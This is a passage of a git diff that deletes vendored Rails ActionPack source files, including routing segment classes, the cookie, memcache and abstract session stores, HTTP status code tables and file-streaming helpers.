-        "expired, hash = true, options if !expired && expire_on[:#{key}]"
-      end
-
-      def extraction_code
-        s = extract_value
-        vc = value_check
-        s << "\nreturn [nil,nil] unless #{vc}" if vc
-        s << "\n#{expiry_statement}"
-      end
-
-      def interpolation_chunk(value_code = local_name)
-        "\#{CGI.escape(#{value_code}.to_s)}"
-      end
-
-      def string_structure(prior_segments)
-        if optional? # We have a conditional to do...
-          # If we should not appear in the url, just write the code for the prior
-          # segments. This occurs if our value is the default value, or, if we are
-          # optional, if we have nil as our value.
-          "if #{local_name} == #{default.inspect}\n" +
-            continue_string_structure(prior_segments) +
-          "\nelse\n" + # Otherwise, write the code up to here
-            "#{interpolation_statement(prior_segments)}\nend"
-        else
-          interpolation_statement(prior_segments)
-        end
-      end
-
-      def value_regexp
-        Regexp.new "\\A#{regexp.to_s}\\Z" if regexp
-      end
-
-      def regexp_chunk
-        regexp ? regexp_string : default_regexp_chunk
-      end
-
-      def regexp_string
-        regexp_has_modifiers? ? "(#{regexp.to_s})" : "(#{regexp.source})"
-      end
-
-      def default_regexp_chunk
-        "([^#{Routing::SEPARATORS.join}]+)"
-      end
-
-      def number_of_captures
-        regexp ? regexp.number_of_captures + 1 : 1
-      end
-
-      def build_pattern(pattern)
-        pattern = "#{regexp_chunk}#{pattern}"
-        optional? ? Regexp.optionalize(pattern) : pattern
-      end
-
-      def match_extraction(next_capture)
-        # All non code-related keys (such as :id, :slug) are URI-unescaped as
-        # path parameters.
-        default_value = default ? default.inspect : nil
-        %[
-          value = if (m = match[#{next_capture}])
-            CGI.unescape(m)
-          else
-            #{default_value}
-          end
-          params[:#{key}] = value if value
-        ]
-      end
-
-      def optionality_implied?
-        [:action, :id].include? key
-      end
-
-      def regexp_has_modifiers?
-        regexp.options & (Regexp::IGNORECASE | Regexp::EXTENDED) != 0
-      end
-    end
-
-    class ControllerSegment < DynamicSegment #:nodoc:
-      def regexp_chunk
-        possible_names = Routing.possible_controllers.collect { |name| Regexp.escape name }
-        "(?i-:(#{(regexp || Regexp.union(*possible_names)).source}))"
-      end
-
-      # Don't URI.escape the controller name since it may contain slashes.
-      def interpolation_chunk(value_code = local_name)
-        "\#{#{value_code}.to_s}"
-      end
-      # Make sure controller names like Admin/Content are correctly normalized to
-      # admin/content
-      def extract_value
-        "#{local_name} = (hash[:#{key}] #{"|| #{default.inspect}" if default}).downcase"
-      end
-
-      def match_extraction(next_capture)
-        if default
-          "params[:#{key}] = match[#{next_capture}] ? match[#{next_capture}].downcase : '#{default}'"
-        else
-          "params[:#{key}] = match[#{next_capture}].downcase if match[#{next_capture}]"
-        end
-      end
-    end
-
-    class PathSegment < DynamicSegment #:nodoc:
-      def interpolation_chunk(value_code = local_name)
-        "\#{#{value_code}}"
-      end
-
-      def extract_value
-        "#{local_name} = hash[:#{key}] && Array(hash[:#{key}]).collect { |path_component| CGI.escape(path_component.to_param, ActionController::Routing::Segment::UNSAFE_PCHAR) }.to_param #{"|| #{default.inspect}" if default}"
-      end
-
-      def default
-        ''
-      end
-
-      def default=(path)
-        raise RoutingError, "paths cannot have non-empty default values" unless path.blank?
-      end
-
-      def match_extraction(next_capture)
-        "params[:#{key}] = PathSegment::Result.new_escaped((match[#{next_capture}]#{" || " + default.inspect if default}).split('/'))#{" if match[" + next_capture + "]" if !default}"
-      end
-
-      def default_regexp_chunk
-        "(.*)"
-      end
-
-      def number_of_captures
-        regexp ? regexp.number_of_captures : 1
-      end
-
-      def optionality_implied?
-        true
-      end
-
-      class Result < ::Array #:nodoc:
-        def to_s() join '/' end
-        def self.new_escaped(strings)
-          new strings.collect {|str| CGI.unescape str}
-        end
-      end
-    end
-    
-    # The OptionalFormatSegment allows for any resource route to have an optional
-    # :format, which decreases the amount of routes created by 50%.
-    class OptionalFormatSegment < DynamicSegment
-    
-      def initialize(key = nil, options = {})
-        super(:format, {:optional => true}.merge(options))            
-      end
-    
-      def interpolation_chunk
-        "." + super
-      end
-    
-      def regexp_chunk
-        '/|(\.[^/?\.]+)?'
-      end
-    
-      def to_s
-        '(.:format)?'
-      end
-
-      def extract_value
-        "#{local_name} = options[:#{key}] && options[:#{key}].to_s.downcase"
-      end
-
-      #the value should not include the period (.)
-      def match_extraction(next_capture)
-        %[
-          if (m = match[#{next_capture}])
-            params[:#{key}] = CGI.unescape(m.from(1))
-          end
-        ]
-      end
-    end
-    
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb
deleted file mode 100644
index 1d2ee87f..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb
+++ /dev/null
@@ -1,276 +0,0 @@
-require 'rack/utils'
-
-module ActionController
-  module Session
-    class AbstractStore  
-      ENV_SESSION_KEY = 'rack.session'.freeze
-      ENV_SESSION_OPTIONS_KEY = 'rack.session.options'.freeze
-
-      HTTP_COOKIE = 'HTTP_COOKIE'.freeze
-      SET_COOKIE = 'Set-Cookie'.freeze
-
-      # thin wrapper around Hash that allows us to lazily
-      # load session id into session_options
-      class OptionsHash < Hash
-        def initialize(by, env, default_options)
-          @by = by
-          @env = env
-          @session_id_loaded = false
-          merge!(default_options)
-        end
-
-        def [](key)
-          if key == :id
-            load_session_id! unless super(:id) || has_session_id?
-          end
-          super(key)
-        end
-
-        private
-
-          def has_session_id?
-            @session_id_loaded
-          end
-
-          def load_session_id!
-            self[:id] = @by.send(:extract_session_id, @env)
-            @session_id_loaded = true
-          end
-      end
-
-      class SessionHash < Hash
-        def initialize(by, env)
-          super()
-          @by = by
-          @env = env
-          @loaded = false
-        end
-
-        def session_id
-          ActiveSupport::Deprecation.warn(
-            "ActionController::Session::AbstractStore::SessionHash#session_id " +
-            "has been deprecated. Please use request.session_options[:id] instead.", caller)
-          @env[ENV_SESSION_OPTIONS_KEY][:id]
-        end
-
-        def [](key)
-          load_for_read!
-          super
-        end
-
-        def has_key?(key)
-          load_for_read!
-          super
-        end
-
-        def []=(key, value)
-          load_for_write!
-          super
-        end
-
-        def clear
-          load_for_write!
-          super
-        end
-
-        def to_hash
-          load_for_read!
-          h = {}.replace(self)
-          h.delete_if { |k,v| v.nil? }
-          h
-        end
-
-        def update(hash)
-          load_for_write!
-          super
-        end
-
-        def delete(key)
-          load_for_write!
-          super
-        end
-
-        def data
-         ActiveSupport::Deprecation.warn(
-           "ActionController::Session::AbstractStore::SessionHash#data " +
-           "has been deprecated. Please use #to_hash instead.", caller)
-          to_hash
-        end
-
-        def inspect
-          load_for_read!
-          super
-        end
-
-        def exists?
-          return @exists if instance_variable_defined?(:@exists)
-          @exists = @by.send(:exists?, @env)
-        end
-
-        def loaded?
-          @loaded
-        end
-
-        def destroy
-          clear
-          @by.send(:destroy, @env) if @by
-          @env[ENV_SESSION_OPTIONS_KEY][:id] = nil if @env && @env[ENV_SESSION_OPTIONS_KEY]
-          @loaded = false
-        end
-
-        private
-          
-          def load_for_read!
-            load! if !loaded? && exists?
-          end
-
-          def load_for_write!
-            load! unless loaded?
-          end
-
-          def load!
-            id, session = @by.send(:load_session, @env)
-            @env[ENV_SESSION_OPTIONS_KEY][:id] = id
-            replace(session)
-            @loaded = true
-          end
-
-      end
-
-      DEFAULT_OPTIONS = {
-        :key =>           '_session_id',
-        :path =>          '/',
-        :domain =>        nil,
-        :expire_after =>  nil,
-        :secure =>        false,
-        :httponly =>      true,
-        :cookie_only =>   true
-      }
-
-      def initialize(app, options = {})
-        # Process legacy CGI options
-        options = options.symbolize_keys
-        if options.has_key?(:session_path)
-          ActiveSupport::Deprecation.warn "Giving :session_path to SessionStore is deprecated, " <<
-            "please use :path instead", caller
-          options[:path] = options.delete(:session_path)
-        end
-        if options.has_key?(:session_key)
-          ActiveSupport::Deprecation.warn "Giving :session_key to SessionStore is deprecated, " <<
-            "please use :key instead", caller
-          options[:key] = options.delete(:session_key)
-        end
-        if options.has_key?(:session_http_only)
-          ActiveSupport::Deprecation.warn "Giving :session_http_only to SessionStore is deprecated, " <<
-            "please use :httponly instead", caller
-          options[:httponly] = options.delete(:session_http_only)
-        end
-
-        @app = app
-        @default_options = DEFAULT_OPTIONS.merge(options)
-        @key = @default_options[:key]
-        @cookie_only = @default_options[:cookie_only]
-      end
-
-      def call(env)
-        prepare!(env)
-        response = @app.call(env)
-
-        session_data = env[ENV_SESSION_KEY]
-        options = env[ENV_SESSION_OPTIONS_KEY]
-
-        if !session_data.is_a?(AbstractStore::SessionHash) || session_data.loaded? || options[:expire_after]
-          request = ActionController::Request.new(env)
-
-          return response if (options[:secure] && !request.ssl?)
-        
-          session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.loaded?
-
-          sid = options[:id] || generate_sid
-
-          unless set_session(env, sid, session_data.to_hash)
-            return response
-          end
-
-          request_cookies = env["rack.request.cookie_hash"]
-
-          if (request_cookies.nil? || request_cookies[@key] != sid) || options[:expire_after]
-            cookie = {:value => sid}
-            cookie[:expires] = Time.now + options[:expire_after] if options[:expire_after]
-            Rack::Utils.set_cookie_header!(response[1], @key, cookie.merge(options))
-          end
-        end
-
-        response
-      end
-
-      private
-      
-        def prepare!(env)
-          env[ENV_SESSION_KEY] = SessionHash.new(self, env)
-          env[ENV_SESSION_OPTIONS_KEY] = OptionsHash.new(self, env, @default_options)
-        end
-      
-        def generate_sid
-          ActiveSupport::SecureRandom.hex(16)
-        end
-
-        def load_session(env)
-          stale_session_check! do
-            sid = current_session_id(env)
-            sid, session = get_session(env, sid)
-            [sid, session]
-          end
-        end
-        
-        def extract_session_id(env)
-          stale_session_check! do
-            request = Rack::Request.new(env)
-            sid = request.cookies[@key]
-            sid ||= request.params[@key] unless @cookie_only
-            sid
-          end
-        end
-
-        def current_session_id(env)
-          env[ENV_SESSION_OPTIONS_KEY][:id]
-        end
-        
-        def exists?(env)
-          current_session_id(env).present?
-        end
-
-        def get_session(env, sid)
-          raise '#get_session needs to be implemented.'
-        end
-
-        def set_session(env, sid, session_data)
-          raise '#set_session needs to be implemented.'
-        end
-        
-        def destroy(env)
-          raise '#destroy needs to be implemented.'
-        end
-        
-        module SessionUtils
-          private
-          def stale_session_check!
-            yield
-          rescue ArgumentError => argument_error
-            if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
-              begin
-                # Note that the regexp does not allow $1 to end with a ':'
-                $1.constantize
-              rescue LoadError, NameError => const_error
-                raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n"
-              end
-              retry
-            else
-              raise
-            end
-          end
-        end
-        include SessionUtils
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
deleted file mode 100644
index 2053aabc..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb
+++ /dev/null
@@ -1,240 +0,0 @@
-module ActionController
-  module Session
-    # This cookie-based session store is the Rails default. Sessions typically
-    # contain at most a user_id and flash message; both fit within the 4K cookie
-    # size limit. Cookie-based sessions are dramatically faster than the
-    # alternatives.
-    #
-    # If you have more than 4K of session data or don't want your data to be
-    # visible to the user, pick another session store.
-    #
-    # CookieOverflow is raised if you attempt to store more than 4K of data.
-    #
-    # A message digest is included with the cookie to ensure data integrity:
-    # a user cannot alter his +user_id+ without knowing the secret key
-    # included in the hash. New apps are generated with a pregenerated secret
-    # in config/environment.rb. Set your own for old apps you're upgrading.
-    #
-    # Session options:
-    #
-    # * <tt>:secret</tt>: An application-wide key string or block returning a
-    #   string called per generated digest. The block is called with the
-    #   CGI::Session instance as an argument. It's important that the secret
-    #   is not vulnerable to a dictionary attack. Therefore, you should choose
-    #   a secret consisting of random numbers and letters and more than 30
-    #   characters. Examples:
-    #
-    #     :secret => '449fe2e7daee471bffae2fd8dc02313d'
-    #     :secret => Proc.new { User.current_user.secret_key }
-    #
-    # * <tt>:digest</tt>: The message digest algorithm used to verify session
-    #   integrity defaults to 'SHA1' but may be any digest provided by OpenSSL,
-    #   such as 'MD5', 'RIPEMD160', 'SHA256', etc.
-    #
-    # To generate a secret key for an existing application, run
-    # "rake secret" and set the key in config/environment.rb.
-    #
-    # Note that changing digest or secret invalidates all existing sessions!
-    class CookieStore
-      include AbstractStore::SessionUtils
-      
-      # Cookies can typically store 4096 bytes.
-      MAX = 4096
-      SECRET_MIN_LENGTH = 30 # characters
-
-      DEFAULT_OPTIONS = {
-        :key          => '_session_id',
-        :domain       => nil,
-        :path         => "/",
-        :expire_after => nil,
-        :httponly     => true
-      }.freeze
-
-      ENV_SESSION_KEY = "rack.session".freeze
-      ENV_SESSION_OPTIONS_KEY = "rack.session.options".freeze
-
-      # Raised when storing more than 4K of session data.
-      class CookieOverflow < StandardError; end
-
-      def initialize(app, options = {})
-        # Process legacy CGI options
-        options = options.symbolize_keys
-        if options.has_key?(:session_path)
-          ActiveSupport::Deprecation.warn "Giving :session_path to SessionStore is deprecated, " <<
-            "please use :path instead", caller
-          options[:path] = options.delete(:session_path)
-        end
-        if options.has_key?(:session_key)
-          ActiveSupport::Deprecation.warn "Giving :session_key to SessionStore is deprecated, " <<
-            "please use :key instead", caller
-          options[:key] = options.delete(:session_key)
-        end
-        if options.has_key?(:session_http_only)
-          ActiveSupport::Deprecation.warn "Giving :session_http_only to SessionStore is deprecated, " <<
-            "please use :httponly instead", caller
-          options[:httponly] = options.delete(:session_http_only)
-        end
-
-        @app = app
-
-        # The session_key option is required.
-        ensure_session_key(options[:key])
-        @key = options.delete(:key).freeze
-
-        # The secret option is required.
-        ensure_secret_secure(options[:secret])
-        @secret = options.delete(:secret).freeze
-
-        @digest = options.delete(:digest) || 'SHA1'
-        @verifier = verifier_for(@secret, @digest)
-
-        @default_options = DEFAULT_OPTIONS.merge(options).freeze
-
-        freeze
-      end
-
-      def call(env)
-        prepare!(env)
-        
-        status, headers, body = @app.call(env)
-
-        session_data = env[ENV_SESSION_KEY]
-        options = env[ENV_SESSION_OPTIONS_KEY]
-        request = ActionController::Request.new(env)
-        
-        if !(options[:secure] && !request.ssl?) && (!session_data.is_a?(AbstractStore::SessionHash) || session_data.loaded? || options[:expire_after])
-          session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.loaded?
-
-          persistent_session_id!(session_data)
-          session_data = marshal(session_data.to_hash)
-
-          raise CookieOverflow if session_data.size > MAX
-          cookie = Hash.new
-          cookie[:value] = session_data
-          unless options[:expire_after].nil?
-            cookie[:expires] = Time.now + options[:expire_after]
-          end
-
-          Rack::Utils.set_cookie_header!(headers, @key, cookie.merge(options))
-        end
-
-        [status, headers, body]
-      end
-
-      private
-      
-        def prepare!(env)
-          env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env)
-          env[ENV_SESSION_OPTIONS_KEY] = AbstractStore::OptionsHash.new(self, env, @default_options)
-        end
-
-        def load_session(env)
-          data = unpacked_cookie_data(env)
-          data = persistent_session_id!(data)
-          [data[:session_id], data]
-        end
-        
-        def extract_session_id(env)
-          if data = unpacked_cookie_data(env)
-            persistent_session_id!(data) unless data.empty?
-            data[:session_id]
-          else
-            nil
-          end
-        end
-
-        def current_session_id(env)
-          env[ENV_SESSION_OPTIONS_KEY][:id]
-        end
-
-        def exists?(env)
-          current_session_id(env).present?
-        end
-
-        def unpacked_cookie_data(env)
-          env["action_dispatch.request.unsigned_session_cookie"] ||= begin
-            stale_session_check! do
-              request = Rack::Request.new(env)
-              session_data = request.cookies[@key]
-              unmarshal(session_data) || {}
-            end
-          end
-        end
-
-        # Marshal a session hash into safe cookie data. Include an integrity hash.
-        def marshal(session)
-          @verifier.generate(session)
-        end
-
-        # Unmarshal cookie data to a hash and verify its integrity.
-        def unmarshal(cookie)
-          @verifier.verify(cookie) if cookie
-        rescue ActiveSupport::MessageVerifier::InvalidSignature
-          nil
-        end
-
-        def ensure_session_key(key)
-          if key.blank?
-            raise ArgumentError, 'A key is required to write a ' +
-              'cookie containing the session data. Use ' +
-              'config.action_controller.session = { :key => ' +
-              '"_myapp_session", :secret => "some secret phrase" } in ' +
-              'config/environment.rb'
-          end
-        end
-
-        # To prevent users from using something insecure like "Password" we make sure that the
-        # secret they've provided is at least 30 characters in length.
-        def ensure_secret_secure(secret)
-          # There's no way we can do this check if they've provided a proc for the
-          # secret.
-          return true if secret.is_a?(Proc)
-
-          if secret.blank?
-            raise ArgumentError, "A secret is required to generate an " +
-              "integrity hash for cookie session data. Use " +
-              "config.action_controller.session = { :key => " +
-              "\"_myapp_session\", :secret => \"some secret phrase of at " +
-              "least #{SECRET_MIN_LENGTH} characters\" } " +
-              "in config/environment.rb"
-          end
-
-          if secret.length < SECRET_MIN_LENGTH
-            raise ArgumentError, "Secret should be something secure, " +
-              "like \"#{ActiveSupport::SecureRandom.hex(16)}\".  The value you " +
-              "provided, \"#{secret}\", is shorter than the minimum length " +
-              "of #{SECRET_MIN_LENGTH} characters"
-          end
-        end
-
-        def verifier_for(secret, digest)
-          key = secret.respond_to?(:call) ? secret.call : secret
-          ActiveSupport::MessageVerifier.new(key, digest)
-        end
-
-        def generate_sid
-          ActiveSupport::SecureRandom.hex(16)
-        end
-
-        def destroy(env)
-          # session data is stored on client; nothing to do here
-        end
-
-        def persistent_session_id!(data)
-          (data ||= {}).merge!(inject_persistent_session_id(data))
-        end
-
-        def inject_persistent_session_id(data)
-          requires_session_id?(data) ? { :session_id => generate_sid } : {}
-        end
-
-        def requires_session_id?(data)
-          if data
-            data.respond_to?(:key?) && !data.key?(:session_id)
-          else
-            true
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb b/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb
deleted file mode 100644
index 2bb1b133..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-begin
-  require_library_or_gem 'memcache'
-  require 'thread'
-  module ActionController
-    module Session
-      class MemCacheStore < AbstractStore
-        def initialize(app, options = {})
-          # Support old :expires option
-          options[:expire_after] ||= options[:expires]
-
-          super
-
-          @default_options = {
-            :namespace => 'rack:session',
-            :memcache_server => 'localhost:11211'
-          }.merge(@default_options)
-
-          @pool = options[:cache] || MemCache.new(@default_options[:memcache_server], @default_options)
-          unless @pool.servers.any? { |s| s.alive? }
-            raise "#{self} unable to find server during initialization."
-          end
-          @mutex = Mutex.new
-
-          super
-        end
-
-        private
-          def get_session(env, sid)
-            sid ||= generate_sid
-            begin
-              session = @pool.get(sid) || {}
-            rescue MemCache::MemCacheError, Errno::ECONNREFUSED
-              session = {}
-            end
-            [sid, session]
-          end
-
-          def set_session(env, sid, session_data)
-            options = env['rack.session.options']
-            expiry  = options[:expire_after] || 0
-            @pool.set(sid, session_data, expiry)
-            return true
-          rescue MemCache::MemCacheError, Errno::ECONNREFUSED
-            return false
-          end
-          
-          def destroy(env)
-            if sid = current_session_id(env)
-              @pool.delete(sid)
-            end
-          rescue MemCache::MemCacheError, Errno::ECONNREFUSED
-            false
-          end
-          
-      end
-    end
-  end
-rescue LoadError
-  # MemCache wasn't available so neither can the store be
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/session_management.rb b/vendor/rails/actionpack/lib/action_controller/session_management.rb
deleted file mode 100644
index b556f046..00000000
--- a/vendor/rails/actionpack/lib/action_controller/session_management.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-module ActionController #:nodoc:
-  module SessionManagement #:nodoc:
-    def self.included(base)
-      base.class_eval do
-        extend ClassMethods
-      end
-    end
-
-    module ClassMethods
-      # Set the session store to be used for keeping the session data between requests.
-      # By default, sessions are stored in browser cookies (<tt>:cookie_store</tt>),
-      # but you can also specify one of the other included stores (<tt>:active_record_store</tt>,
-      # <tt>:mem_cache_store</tt>, or your own custom class.
-      def session_store=(store)
-        if store == :active_record_store
-          self.session_store = ActiveRecord::SessionStore
-        else
-          @@session_store = store.is_a?(Symbol) ?
-            Session.const_get(store.to_s.camelize) :
-            store
-        end
-      end
-
-      # Returns the session store class currently used.
-      def session_store
-        if defined? @@session_store
-          @@session_store
-        else
-          Session::CookieStore
-        end
-      end
-
-      def session=(options = {})
-        self.session_store = nil if options.delete(:disabled)
-        session_options.merge!(options)
-      end
-
-      # Returns the hash used to configure the session. Example use:
-      #
-      #   ActionController::Base.session_options[:secure] = true # session only available over HTTPS
-      def session_options
-        @session_options ||= {}
-      end
-
-      def session(*args)
-        ActiveSupport::Deprecation.warn(
-          "Disabling sessions for a single controller has been deprecated. " +
-          "Sessions are now lazy loaded. So if you don't access them, " +
-          "consider them off. You can still modify the session cookie " +
-          "options with request.session_options.", caller)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/status_codes.rb b/vendor/rails/actionpack/lib/action_controller/status_codes.rb
deleted file mode 100644
index 4977c794..00000000
--- a/vendor/rails/actionpack/lib/action_controller/status_codes.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-module ActionController
-  module StatusCodes #:nodoc:
-    # Defines the standard HTTP status codes, by integer, with their
-    # corresponding default message texts.
-    # Source: http://www.iana.org/assignments/http-status-codes
-    STATUS_CODES = {
-      100 => "Continue",
-      101 => "Switching Protocols",
-      102 => "Processing",
-
-      200 => "OK",
-      201 => "Created",
-      202 => "Accepted",
-      203 => "Non-Authoritative Information",
-      204 => "No Content",
-      205 => "Reset Content",
-      206 => "Partial Content",
-      207 => "Multi-Status",
-      226 => "IM Used",
-
-      300 => "Multiple Choices",
-      301 => "Moved Permanently",
-      302 => "Found",
-      303 => "See Other",
-      304 => "Not Modified",
-      305 => "Use Proxy",
-      307 => "Temporary Redirect",
-
-      400 => "Bad Request",
-      401 => "Unauthorized",
-      402 => "Payment Required",
-      403 => "Forbidden",
-      404 => "Not Found",
-      405 => "Method Not Allowed",
-      406 => "Not Acceptable",
-      407 => "Proxy Authentication Required",
-      408 => "Request Timeout",
-      409 => "Conflict",
-      410 => "Gone",
-      411 => "Length Required",
-      412 => "Precondition Failed",
-      413 => "Request Entity Too Large",
-      414 => "Request-URI Too Long",
-      415 => "Unsupported Media Type",
-      416 => "Requested Range Not Satisfiable",
-      417 => "Expectation Failed",
-      422 => "Unprocessable Entity",
-      423 => "Locked",
-      424 => "Failed Dependency",
-      426 => "Upgrade Required",
-
-      500 => "Internal Server Error",
-      501 => "Not Implemented",
-      502 => "Bad Gateway",
-      503 => "Service Unavailable",
-      504 => "Gateway Timeout",
-      505 => "HTTP Version Not Supported",
-      507 => "Insufficient Storage",
-      510 => "Not Extended"
-    }
-
-    # Provides a symbol-to-fixnum lookup for converting a symbol (like
-    # :created or :not_implemented) into its corresponding HTTP status
-    # code (like 200 or 501).
-    SYMBOL_TO_STATUS_CODE = STATUS_CODES.inject({}) do |hash, (code, message)|
-      hash[message.gsub(/ /, "").underscore.to_sym] = code
-      hash
-    end
-
-    # Given a status parameter, determine whether it needs to be converted
-    # to a string. If it is a fixnum, use the STATUS_CODES hash to lookup
-    # the default message. If it is a symbol, use the SYMBOL_TO_STATUS_CODE
-    # hash to convert it.
-    def interpret_status(status)
-      case status
-      when Fixnum then
-        "#{status} #{STATUS_CODES[status]}".strip
-      when Symbol then
-        interpret_status(SYMBOL_TO_STATUS_CODE[status] ||
-          "500 Unknown Status #{status.inspect}")
-      else
-        status.to_s
-      end
-    end
-    private :interpret_status
-
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/streaming.rb b/vendor/rails/actionpack/lib/action_controller/streaming.rb
deleted file mode 100644
index 372470f0..00000000
--- a/vendor/rails/actionpack/lib/action_controller/streaming.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-require 'active_support/core_ext/string/bytesize'
-
-module ActionController #:nodoc:
-  # Methods for sending arbitrary data and for streaming files to the browser,
-  # instead of rendering.
-  module Streaming
-    DEFAULT_SEND_FILE_OPTIONS = {
-      :type         => 'application/octet-stream'.freeze,
-      :disposition  => 'attachment'.freeze,
-      :stream       => true,
-      :buffer_size  => 4096,
-      :x_sendfile   => false
-    }.freeze
-
-    X_SENDFILE_HEADER = 'X-Sendfile'.freeze
-
-    protected
-      # Sends the file, by default streaming it 4096 bytes at a time. This way the
-      # whole file doesn't need to be read into memory at once. This makes it
-      # feasible to send even large files. You can optionally turn off streaming
-      # and send the whole file at once.
-      #
-      # Be careful to sanitize the path parameter if it is coming from a web
-      # page. <tt>send_file(params[:path])</tt> allows a malicious user to
-      # download any file on your server.
-      #
-      # Options:
-      # * <tt>:filename</tt> - suggests a filename for the browser to use.
-      #   Defaults to <tt>File.basename(path)</tt>.
-      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify
-      #   either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json
-      # * <tt>:length</tt> - used to manually override the length (in bytes) of the content that
-      #   is going to be sent to the client. Defaults to <tt>File.size(path)</tt>.
-      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
-      #   Valid values are 'inline' and 'attachment' (default).
-      # * <tt>:stream</tt> - whether to send the file to the user agent as it is read (+true+)
-      #   or to read the entire file before sending (+false+). Defaults to +true+.
-      # * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream the file.
-      #   Defaults to 4096.
-      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
-      # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from
-      #   the URL, which is necessary for i18n filenames on certain browsers
-      #   (setting <tt>:filename</tt> overrides this option).
-      # * <tt>:x_sendfile</tt> - uses X-Sendfile to send the file when set to +true+. This is currently
-      #   only available with Lighttpd/Apache2 and specific modules installed and activated. Since this
-      #   uses the web server to send the file, this may lower memory consumption on your server and
-      #   it will not block your application for further requests.
-      #   See http://blog.lighttpd.net/articles/2006/07/02/x-sendfile and
-      #   http://tn123.ath.cx/mod_xsendfile/ for details. Defaults to +false+.
-      #
-      # The default Content-Type and Content-Disposition headers are
-      # set to download arbitrary binary files in as many browsers as
-      # possible.  IE versions 4, 5, 5.5, and 6 are all known to have
-      # a variety of quirks (especially when downloading over SSL).
-      #
-      # Simple download:
-      #
-      #   send_file '/path/to.zip'
-      #
-      # Show a JPEG in the browser:
-      #
-      #   send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
-      #
-      # Show a 404 page in the browser:
-      #
-      #   send_file '/path/to/404.html', :type => 'text/html; charset=utf-8', :status => 404
-      #
-      # Read about the other Content-* HTTP headers if you'd like to
-      # provide the user with more information (such as Content-Description) in
-      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11.
-      #
-      # Also be aware that the document may be cached by proxies and browsers.
-      # The Pragma and Cache-Control headers declare how the file may be cached
-      # by intermediaries.  They default to require clients to validate with
-      # the server before releasing cached responses.  See
-      # http://www.mnot.net/cache_docs/ for an overview of web caching and
-      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
-      # for the Cache-Control header spec.
-      def send_file(path, options = {}) #:doc:
-        raise MissingFile, "Cannot read file #{path}" unless File.file?(path) and File.readable?(path)
-
-        options[:length]   ||= File.size(path)
-        options[:filename] ||= File.basename(path) unless options[:url_based_filename]
-        send_file_headers! options
-
-        @performed_render = false
-
-        if options[:x_sendfile]
-          logger.info "Sending #{X_SENDFILE_HEADER} header #{path}" if logger
-          head options[:status], X_SENDFILE_HEADER => path
-        else
-          if options[:stream]
-            render :status => options[:status], :text => Proc.new { |response, output|
-              logger.info "Streaming file #{path}" unless logger.nil?
-              len = options[:buffer_size] || 4096
-              File.open(path, 'rb') do |file|
-                while buf = file.read(len)
-                  output.write(buf)
-                end
-              end
-            }
-          else
-            logger.info "Sending file #{path}" unless logger.nil?
-            File.open(path, 'rb') { |file| render :status => options[:status], :text => file.read }
-          end
-        end
-      end
-
-      # Sends the given binary data to the browser. This method is similar to
-      # <tt>render :text => data</tt>, but also allows you to specify whether
-      # the browser should display the response as a file attachment (i.e. in a
-      # download dialog) or as inline data. You may also set the content type,
-      # the apparent file name, and other things.
-      #
-      # Options:
-      # * <tt>:filename</tt> - suggests a filename for the browser to use.
-      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'. You can specify
-      #   either a string or a symbol for a registered type register with <tt>Mime::Type.register</tt>, for example :json
-      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
-      #   Valid values are 'inline' and 'attachment' (default).
-      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
-      #
-      # Generic data download:
-      #
-      #   send_data buffer
-      #
-      # Download a dynamically-generated tarball:
-      #
-      #   send_data generate_tgz('dir'), :filename => 'dir.tgz'
-      #
-      # Display an image Active Record in the browser:
-      #
-      #   send_data image.data, :type => image.content_type, :disposition => 'inline'
-      #
-      # See +send_file+ for more information on HTTP Content-* headers and caching.
-      #
-      # <b>Tip:</b> if you want to stream large amounts of on-the-fly generated
-      # data to the browser, then use <tt>render :text => proc { ... }</tt>
-      # instead. See ActionController::Base#render for more information.
-      def send_data(data, options = {}) #:doc:
-        logger.info "Sending data #{options[:filename]}" if logger
-        send_file_headers! options.merge(:length => data.bytesize)
-        @performed_render = false
-        render :status => options[:status], :text => data
-      end
-
-    private
-      def send_file_headers!(options)
-        options.update(DEFAULT_SEND_FILE_OPTIONS.merge(options))
-        [:length, :type, :disposition].each do |arg|
-          raise ArgumentError, ":#{arg} option required" if options[arg].nil?
-        end
-
-        disposition = options[:disposition].dup || 'attachment'
-
-        disposition <<= %(; filename="#{options[:filename]}") if options[:filename]
-
-        content_type = options[:type]
-        if content_type.is_a?(Symbol)
